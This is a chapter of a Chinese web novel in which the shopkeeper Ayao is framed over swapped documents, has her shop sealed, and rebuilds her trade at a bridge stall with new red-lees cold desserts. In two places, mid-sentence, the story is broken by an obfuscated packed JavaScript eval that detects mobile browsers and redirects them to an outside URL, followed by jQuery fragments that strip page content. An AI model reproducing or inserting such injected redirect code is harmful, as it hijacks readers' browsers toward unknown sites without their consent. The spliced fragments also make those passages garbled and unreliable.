官牙子与阿瑶做的不止一笔生意,何况每日都会遇上一面对她人分外熟悉,来了之后讲明经过,两人当时所签并非此份,其中定然是有人掉包,他前几日在整理书架库,找来找去只见一张,想着总归在此却意外丢失。 真是死无对证。 “大人,容下官说上一句,阿瑶姑娘两月前来找我补文书一事如今还记忆犹新,眼下东西丢了是下官失职,可我确实亲手敲下官印。”官牙子替阿瑶说起好话。 吴县令一手撑在交椅上,一手搭在桌面,指尖敲打起来,目光凝视众人,堂下寂静下来无一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807386|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发话。 几息过后,吴县令敲定主意对着堂下人道:“文书既然过了明面必然还在库中,但失职一事需罚,至于冰雪铺文书造假虽有将功补过,到底还是疏漏百出,此事本官会派人查清。” 他顿了顿,目光投向堂前,“此事因果子引发,但太过于偏激,回去后多往医馆走走听听,那五百文就当是买个教训,下会莫在嘴贪。” 事情算告一段落,阿瑶出去是许老大夫妇带着两哥儿侯在门口多时,一人手中一把蒲团扇,看着人出来笑脸相迎,劝说阿瑶莫为此事平添烦恼。 “阿爹,阿娘在铺里等我就好,我能应付过来。”她一手牵一个哥儿往回走,身上香囊摇晃。 许老大走在她身旁:“阿爹担心你受委屈,忙完了赶忙过去瞧,那人活该,连吴大人都叫他多去看大夫。” 说起此事,阿瑶就想笑,吴县令话里有话再说那人得了大病,明是嘴贪偏要说她下毒,这话一出,明日必然都是笑话。 他们刚到铺子没一会儿,官府派人过来说是阿瑶文书有误要将铺子封了,可所有一切都在堂上与人分辨时讲明,有官牙为她作保难道还不够? 她上前问了几句:“官爷,此事可否弄错,今日文书都交于大人一一核对,莫非是两份都有错?” “阿瑶姑娘,我们也都是听命办事,你别为难我们。”带头捕头与阿瑶关系还算好,他透露几句,“最近可否与人有过节。” 外行人都瞧出里面行当,阿瑶自然知晓,只不过对方出手太快,她难敌半分。 “并无。”阿瑶想了想,摇头道。 “下堂后,有人送了份信到衙门,大人看后很是生气,狠狠骂了老关一顿,兄弟们都听的一清二楚,里头似乎谈及到你。”捕头提上一嘴后带人离去。 老关是官牙子名,大伙都愿怎么叫他,阿瑶琢磨来琢磨去实属猜不透。 铺子被封,一群人站在门外,大眼瞪小眼好生一顿看。 眼下是什么都没,好在还能通融一二,让她把冰桶、果酱这些散碎物件都带出来,总归还有些希望。 阿瑶一大早就拉着推车走街串巷,她走来走去还是摆在州桥底下,时隔数月又会到起点,她对面花楼外观重新涂料后居然比原先还要大气。 看着手边这些料子,总归还有东山再起的可能,阿瑶还是按照老样子来,两种款式都买,买的东西越来越多。 老关发生何事官府隐瞒的密不透风,外界是一点儿消息都没,光看冰雪铺被封都能猜点出来什么来。 到底还是阿瑶在外积累的好名声,大伙当日都围观过,对她态度还似从前一般,见面都要寒暄安慰几句。 阿瑶心底其实是有放弃得念头产生,但暗地里还有人想趁她倒下之时一并吞没,这股气怎么都无法咽下。 衙门她每日都去,借着替吴县令送冰名头偷偷打听老关之事,对方是碍于府中严令无法说出口,私下给阿瑶塞了张字条。 56. 分家后(三十三) 一直等到身后人离去,官府门前站了两官差,阿瑶攥紧纸条往前走了几里路,才展开看,纸条上头写着:子时州桥一聚。 阿瑶收好纸条回去,摊子前正需要人去帮忙,她出来多时都是海氏一人扛着, 改用推车后冰饮生意似乎降了好几成,一早准备的冰连一桶都还没用完。 对面花楼生意热火朝天,铺子被封多少对阿瑶有些影响,大伙面上没摆出来,可从进出酒楼方向,阿瑶知道他们还是有所顾虑。 内心衍生出的一种忧愁就快把阿瑶重振的信心泯没,强烈落差占据着她脑内,心底滋生的暗示话语让阿瑶开始惶恐,面对周围过往路人她分不清真假。 犹如沉浸虚幻之中,久久无法抽身。 连海氏叫声都未能听见,触碰得感觉唤醒了阿瑶那颗逐渐迷失自我的内心,她抬起头望了眼晴空,转身投入挖冰中。 外面后面制作的冰块比竹筒要好,大小尺寸刚好能整块放进冰桶之中,唯一缺点便是需借住外力敲成碎块。 只是最近冰价似乎迎来低价,从八十两一块下落成五十一块,可阿瑶已有属于自个的冰块小工坊。 冰对于百姓来说是日常最为需要的东西,吃住都离不开它,熬过了一月炙热,总算是能再度享受到那股凉爽,得知消息后,冰行门前围得水泄不通,连推车都无法快速通过。 大伙都在争夺冰块数量,想借着降价多屯上一些,有好多人吃过没地窖的亏,趁着价高快速挖出地窖来,等待时机,好事总算是碰上了。 阿瑶没参与其中,她赶着时辰要去趟州桥。 对方说州桥一聚,可并未说明何处,阿瑶走到桥心等,不过片刻,身旁有黑影压下,她侧目一瞥。 衣角锦白,缎面绣着祥云,那身段和气势都不想官府当差之人。 “书库中丢失文书在老关家中找到,搜出他与外人勾结私下买卖一事,吴县令下令杖打二十,如今人在家中修养,命算是包住了,可惜职位要丢。”梁文宇的出现让阿瑶内心有所波动。 她眨动长睫:“县令未派人查清却下令打了官牙,这事怎么都说不过去,文书是真是假官府又如何证明?” 梁文宇指尖扫过栏杆,搓了几下后双手架在上头:“今日我过来,就是要同你说此事。”他忽然背靠栏杆眯起眼,“老关被人设局,所有源头都指向你。” “我!”阿瑶受宠若惊,她何德何能让人花费这样的心思对付。 “一开始你置宅子,购买铺子吸引有心人精心布局,老关与你签订的文书是真,但有人比他早一步,在收入书库前掉包,才会出现铺子被封一事,明显是人家一步步算计好的。”梁文宇替阿瑶分析局面,“你好好想想到底是何人与你接触密切,知晓你一举一动。” 但凡她铺子有任何风吹草动,总会有人第一时间过来祝贺,此人每日都会走街串巷,她与阿瑶之间关系最为密切,甚至每日过来都笑脸相迎,她然不知对方心思如此歹毒。 这人从阿瑶出事之后一直都在出现,今早还见过她,摸样算是大变,短短一日穿戴都换了摸样。 一夜间的横财可不是所有人都能得到,阿瑶心中有了答案。 “想来你应该早知道真相。”阿瑶询问道。 梁文宇头往右边斜了点:“你还算聪明,只是过于迟缓。”前一句还是夸奖,后一句便开始贬低起来。 阿瑶哼了一下,“你这给个巴掌,吃颗糖的老套路早腻了。”明显她不吃这套。 "听婶说你最近几日状态有些不对,是担心铺子的事。"梁文宇把语气放得平淡,听不出情绪。 阿瑶深呼吸一口,“先前与东家约定的条列全作废。”这事结束后,不知东家是否愿意再继续租给她。 铺子查封多半还没传进东家耳里,也算是阿瑶担忧的一点。 梁文宇忽然道:“与其担忧,不如实话告之。” 阿瑶明显不想搭理梁文宇,朝州桥底下走几步,河下面正有人拉着船杆过桥,外头大叫着过船,船杆快要倒下来砸到桥面是,阿瑶被人拽进怀里护住。 好在最后船杆并没砸落,而是在贴近桥梁时放倒,梁文宇将阿瑶牢牢护在怀中,身上环绕的草药味很重,那还阿瑶为防虫叮咬配的。 他们两人依偎在一起,太过于亲密,阿瑶有些不适应:“你,先放开我。” 梁文宇紧紧护着她,力气还挺大的,她侧脸贴在他胸前,耳内心跳不断,头顶是急促呼吸喷洒下的热气。 他听话照做松开阿瑶好,与她面对面站,眼神中透露出急切,不同适才平静神色。 “我还有事先行一步。”阿瑶平复心情,她说过要与梁文宇彻底断裂。 “阿瑶,铺子的事,我会帮你解决!”梁文宇在她离开之际,拉住阿瑶说道。 “多谢,事后我定然会报答阁下。”阿瑶待对方说完,抚开梁文宇手离去。 早从字迹上她就认出了是梁文宇,之所以在外是因为只有他能帮她,这几天阿瑶日日跑官府都没得到想要的结果。 算准了梁文宇会派人留意她一举一动,阿瑶干脆一不做二不休等对方主动找上门。 由他出面解决铺子一事,总比她走投无路要好,振作起来的斗志可不能叫这点子小事蹉跎下去。 至于那个背后捅她一刀之人,她该找个机会好好“感谢”对方。 阿瑶回到摊位,后头坐了不少食客,先前留下的一桶半冰只剩下小半,论做冰手艺还是阿瑶略微高上一筹。 她扭头扫视一圈,卖出不少炒酸奶,改良之后的没先前稀薄,比较浓厚,阿瑶又是还会叫上一点自酿的果酒进去,口感更好。 前几日酒庄酿酒,多出很多红糟,她与店家关系好厚脸皮要了些来,现下正琢磨制作米酒炒酸奶。 要来的红糟米粒较碎,但阿瑶还想要更碎一些,她放进石臼里捣烂,白色浆液混合碎米淌在底部,阿瑶分别准备了好几种小料,一样样尝试搭配口感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833681|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 酥珞加上红糟奶味之中多了酒香,款式简单,之后她加了几颗葡萄干和巴榄子果碎进去,味道还算勉强,并非想象之中的口感。 红糟之中加入果子就会使酒香发挥不出,最后阿瑶敲定只用酥珞加上红糟做炒酸奶。 她做出几碗来,让两个哥儿送去给酒家小尝,剩下按照五十文一碗售卖,这样的价格只有大碗。 随后阿瑶还出了小碗,小碗她又换了款式,盏沿更加外翻,碗底浅了些,最多叠放五块就满。 平时想喝小酒过瘾,偶尔换种方式喝也算不错,多加红糟阿瑶是要另外收取费用的,喜喝酒之人加上五勺都未必能把他灌醉。 她好似卷土重来,本不想报有多大希望,在她灰心之时送来转机。 “阿瑶,再了五碗红糟,要大碗的。”海氏在后头整理,有些食客坐下之后就让海氏代为传话。 用红糟制作出来的炒酸奶,味道浓郁酒味浅淡,很适合女子吃。 而她后面也为男子推出一款酒味冰沙,米酒注底填上碎冰后倒上混合酥珞的红糟,再撒上葡萄干和巴榄子碎仁,周围放上颗用米酒泡发的妃子笑(荔枝),当然比起炒酸奶而言,阿瑶偏爱红糟沙冰多一些。 红糟味炒酸奶太过于浓稠,虽然捣碎的糯米在奶块中不太明显,但口感上偏向厚重,吃多了反倒显得有些腻,而红糟沙冰则偏向清爽为主,酒香更醇,少量红糟为它增添了丰厚口感,再有冰镇后的妃子笑来装饰,既好看同时更好吃。 当日营生以红糟冰沙最为时行,喜好喝酒的食客从酒楼过来就想尝一碗这样的冰沙,阿瑶岂能让他们失望而归,自然是拿出十足得精神应对。 米酒度数不高,胜在柔和、甜润,酒体浑浊不似清酒那般清澈,正因如此,多数人过来只为尝鲜。 阿瑶非但没将红糟沙冰作为首推招牌,反而在此下方写上了可换选两种款式酒类,她想用清酒作为底料使沙冰口感变得醇厚一些。 光购买米酒还不够,还需去酒楼另外添置几坛清酒回来,阿瑶与酒楼店家做交易,想要以此来降低没坛酒价格,只是她手头有限,能够低价购买的酒类除去糯米酿造出来酒之外,其余几款全拿不下,最后所买只有清酒和浊酒两款。 她凭借手艺缓解由铺子被封所带来的僵局,能够为此带来新生是阿瑶最值得庆幸的时候。 送走最后一位食客,阿瑶和海氏两人收拾完木桌上留下来的碗筷,这几日他们统一待在州桥底下,两个摊子并在一块儿做生意。 她多添加了几款小吃,油炸落苏(茄子)洒上胡椒混合研磨的粗盐块味道很好,她光用落苏可不行,切成两薄片中间还不能切断,然后塞入肉沫裹上面粉和蛋液,必须要等油热下锅立刻炸才行,这样出来的落苏外皮酥脆内馅汁多,出锅后撒上胡椒和细盐,得趁热吃味道才好。 一日营生下来大概所得两贯钱。 每日所得还是太少,难以维持阿瑶想多赚些钱备用的想法。